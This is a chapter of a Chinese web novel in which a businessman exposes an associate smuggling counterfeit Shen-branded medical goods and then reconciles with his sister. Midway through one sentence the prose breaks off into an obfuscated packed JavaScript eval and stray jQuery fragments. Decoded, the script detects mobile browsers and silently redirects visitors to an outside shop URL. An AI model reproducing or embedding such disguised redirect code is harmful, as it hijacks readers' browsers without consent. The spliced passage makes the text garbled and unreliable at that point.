李京打来电话的时候已经是半夜了,彼时的沈纪川刚下飞机回到海城的家里。
距离商贸会举办结束已经过去了好几天,终于在今晚,他从李京那里得到了些有用的信息。
今晚,秦鞍亲自带人在这边的码头上装了一整船的货,据说合作方就是这次在商贸会上通过沈氏的名义谈成的。
沈纪川赶到码头的时候,李京已经在那里等候多时了。
这会儿已经凌晨两点多了,尽管如此码头上依旧灯火通明,只是装货的船只会比白天的少上一些。
远远的见他开车过来,便忙不迭的迎了上去,“沈总,您来了。”
沈纪川从车上下来,直奔着码头的方向,李京赶忙跟上他的步伐,边走边汇报着进度。
“秦鞍他们现在还在码头那边吗?”
“在,工人们正在加急给船上装货,这个时间应该已经装好了将近三分之二的货物了。”李京推测道。
沈纪川拧眉,“有查到是什么货物吗?”
“没有。”李京摇摇头,“我们不敢靠的太近,怕被发现。”
秦鞍这几年做的生意很杂,什么路子的都有,而且最近也没听到他们有什么紧急的合作项目需要加班加点完成,一般商贸会上的合作基本都是提前下订单,正式出货的时间也都在几个月之后了,不会这么快就要求出货的。
李京安排的人还在那里盯着,但那些货物在送来之前都被包裹的严严实实的,压根就看不出来什么。
“你们有了解秦鞍此次的合作方是做什么的吗?”沈纪川忽然问。
李京说:“查过,合作方是海外的一家医疗企业。”
沈纪川:“如果是以沈氏的名义,那这批货物极有可能是卫生材料和医药用品。”
沈氏分公司在海城的主要业务之一就是医疗制造,但是据他所知,秦鞍还暂时没涉及过医疗这方面,怎么初次和海外企业合作就选择了不擅长的项目。
“秦鞍没有合作过医疗制造项目的经验,他们也没有这类专门的加工厂,短时间内运输这么多的货物肯定是从沈氏的工厂发出的,你去给这边的工厂负责人打个电话,问一下近期加工的货物数量以及具体的类目。”
李京:“好的,沈总。”
工厂负责人凌晨接到李京的审查电话,当即一个激灵从床上端坐了起来,战战兢兢的汇报着工厂内部货物的情况。
“前些天,沈经理的确来找我问过货,但我们厂刚刚结算完上一批项目的货款,库存根本就没剩下多少,还是工人们加了三天夜班才勉强凑齐了二十万件。”
李京和工厂负责人通话的时候,沈纪川就站在不远处听着,闻言直接对着电话那头的人说:“只有二十万件,你确定吗?”
工厂负责人听出了沈纪川的声音,连忙问候:“沈总好,我确定,那些货被运出去的时候还是我亲手签的单呢。”
“好,我知道了。”
沈纪川挂断了电话,然后对李京说:“让你的人想尽一切办法去查看箱子里的货!”
“您的意思是……”李京瞬间就明白了他的意思。
现在正在装船的这批货有问题。
工厂那边只运出去了两万件的货物,但现在码头上停着的那艘船,哪里是这点东西就能装满的。
沈纪川没有言明,只是点了点头,说:“快点!”
如果这批货真的如他想象中的那样出了问题,一旦运出去产生的后果可不是谁都能负担的起的,更何况这批货还是以沈氏的名义发出去的。
码头上的风自海岸而来,夹杂着湿热的水汽,沈纪川有些不适应,暂时先回到了车里坐着。
时间一分一秒的过去,沈纪川看了眼手腕上的时间,已经凌晨四点了。
再抬头的时候,恰好看到李京绕过工人跑了回来。
“沈总……”他气喘吁吁的说,“查到了,这批医疗货物里真假掺半,而且那些假货还用的都是沈氏医药的商标。”
沈纪川沉声道:“去报警。”
“是。”
不多时,码头就传来了警笛声,沈纪川全程坐在自己的车里,看着警察将他们全部逮捕,直至海岸再次恢复平静,他才开车离开。
后续的事情,他全权交给了李京去跟进。
这会儿,他还有别的事情要去做。
沈惠像往日一样去上班,推开办公室大门才发现沈纪川正坐在她的位置上,有一搭没一搭的翻看着她桌上的文件。
“你什么时候来的海城?”
沈纪川合上文件,抬头看向她,“昨晚到的,忙活了一个晚上,眼看着天亮了就直接来了公司。”
沈惠随手将自己的包放在沙发上,“这么着急,是总公司那边有什么事吗?”
说这话的时候,沈纪川的视线一直盯着她,似乎想要借此分辨出她是真的不知情还是在故意装傻。
观察了好一会儿,沈惠不管是表情还是动作都很是自然。
沈纪川说:“是有点事,不过倒不是总公司那边的。”
“分公司最近一切正常,也没什么事是需要你连夜赶过来的吧。”
此话一出,沈纪川便知道她对昨晚码头上的事情是毫不知情的了,于是,心里略微松了口气。
助理适时进来给两人面前各放了一杯咖啡,然后安静的退了出去。
他姿势慵懒的靠在椅背上,说:“这次商贸会,秦鞍合作了一家海外医疗企业的事,你知道吗?”
沈惠端咖啡的动作顿住了一瞬,随即咖啡杯被放回了原处,她说:“我知道。”
“按照约定,他把其他国内的合作方全部留给了沈氏。”
“这个我知道。”沈纪川端起桌上的咖啡,喝了一口,继续道:“而且我还知道,他昨天晚上就已经在装货了。”
“什么?”沈惠有些诧异。
沈纪川:“怎么,沈经理不知道这回事儿。”
“这不可能!”沈惠说,“这次签的所有合作商都在我这里留了底,商贸会才过去几天,这么短的时间里,怎么可能会有足够的货物出海。”
“是啊,不过昨晚我可是看的千真万确,秦鞍亲自带着工人在码头装船。”
沈惠很快就听出了不对劲,瞬间抬头看向他。
“秦鞍再怎么说也混了这么多年了,不可能出这么大的纰漏,你们到底有什么事情瞒着我?”沈纪川的语气冷硬,不再似几分钟前的那般漫不经心。
沈惠没有说话,沈纪川也不催她,只是坐在椅子上慢慢喝着杯子里的咖啡。
他在等,等沈惠自己主动说。
一杯咖啡将将见底,沈惠才再次开口:“这件事我的确不知情,我不知道秦鞍是何居心。”
见状,沈纪川的脸色缓和了不少,他必须确认清楚,如果沈惠真的是知情不报,那今天下午他去警察局里要见的可就不止秦鞍一个人了。
“你不知情,那我告诉你。”
“这批货是从沈氏医药的工厂出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729964|207541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的,但是工厂提供的货只有二十万件,剩下的都是秦鞍自己从黑作坊里搞得假货,冠名的是沈氏的商标。”
沈惠没想到秦鞍会冒这么大的风险,竟然会运假货出海。
沈纪川继续说:“我不知道这件事他布局了多久,但是从假货的数量,再结合他和你谈商贸会合作的时间来看,最少也有四五个月了。”
“怎么会这样?”沈惠有些不可思议,“当初他明明说过,只是需要一笔钱。”
沈纪川问:“他要钱做什么?”
他昨晚回来之后就一直在想,秦鞍活到现在已经过上了比普通人好太多的日子,一把年纪了为什么还要铤而走险。
但一直都没想出个什么名堂。
沈惠说:“他有个赌博的儿子欠了债。”
“你说谁的儿子?”沈纪川以为自己听错了。
沈惠再次重复道:“秦鞍的儿子,今年刚满二十岁。”
沈纪川仿佛听到了什么笑话一般,震惊道:“秦鞍竟然还有个儿子,他老婆知道这事儿吗?”
“自然是不知道的。”
沈纪川这下算是明白了,秦家看似是秦鞍说了算,但家里的一切财产都是在他老婆的名下,原因无他,秦鞍也是妥妥的凤凰男,最开始也是靠着岳父岳母扶持着过日子的。
但也只是财产不在他手里,其他的大事小事却都是秦鞍在管。
当初秦母生了秦怡之后生了场病,医生说再也怀不了孩子了,秦鞍表面上充当好人宽慰自己的妻子,实则背地里自己找情人生了个儿子。
难怪他缺钱了不是找自己的老婆要,而是要冒着风险自己来赚,原来是为了堵上自己私生子在外面欠的窟窿。
“原来如此,没想到这一趟来还有意外收获。”沈纪川笑道。
事情该说的都说完了,沈纪川从椅子上站起身,“这件事我已经报警了,秦鞍昨晚就被带走了。”
沈惠也跟着站起身,“这次的事是我的疏忽……”
不等她继续说,沈纪川就打断道:“我不知道秦鞍许了你什么好处,但是我不希望看到沈氏有任何的损失,这是第一次也是最后一次。”
说完,他就转身往门口走。
直到沈纪川伸手转动门把手准备开门的时候,身后才响起沈惠的声音。
“哥。”
沈纪川停下了脚步,他有些讶异的回头。
在他的印象里,沈惠极少喊他哥,更多时候都是在喊他沈总。
“秦鞍他……许了我他自己在沈氏的股份。”沈惠长叹了口气,说,“这件事是我做错了,我认。”
沈纪川知道他们之间有隔阂,他其实也能理解沈惠这么做的原因,归根结底她也只是想要为自己多得一份保障罢了。
“沈惠,你知道我为什么要把分公司交给你管理吗?”
“不知道。”
沈纪川说:“因为你在海城长大,这里有你熟悉的环境和朋友,而且我相信你的业务能力,所以才愿意把分公司交给你。”
“我们之间都是上一辈的恩怨,沈堰的确是个混蛋,但我不会因为他们的事情而牵连到你。”
其实从一开始,他就没想过会有一天从沈惠的手里收走分公司的管理权。
他说:“只要你还认我这个哥,你就一直是我的妹妹。”
听他说完,沈惠当即红了眼眶。
“哥,对不起……”
沈纪川笑了笑:“不至于,知错能改就是好孩子。”